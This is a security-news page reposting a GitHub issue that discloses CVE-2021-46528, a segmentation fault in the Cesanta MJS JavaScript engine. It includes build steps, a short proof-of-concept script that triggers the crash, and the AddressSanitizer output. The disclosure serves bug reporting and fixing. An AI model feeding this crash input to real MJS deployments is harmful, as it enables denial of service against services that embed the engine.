Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-46528: SEGV (/usr/local/bin/mjs+0x5361e) · Issue #208 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x5361e. This vulnerability can lead to a Denial of Service (DoS).

CVE
#vulnerability#ubuntu#linux#dos#js#git

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

Comments

@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

function D(i) {
    [i]
}
function A() {
    return D.apply - 1;
}
function JSEtest(i) {
    return A(i, 1, 2, 3);
}
JSEtest(0.2)(0.2)

Execution steps & Output

$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==76668==ERROR: AddressSanitizer: SEGV on unknown address 0x561aeef915ac (pc 0x561aeef9161f bp 0x0000000000a6 sp 0x7ffe3d8aa358 T0) ==76668==The signal is caused by a WRITE memory access. #0 0x561aeef9161e (/usr/local/bin/mjs+0x5361e)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x5361e) ==76668==ABORTING

1 participant

@hope-fly

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907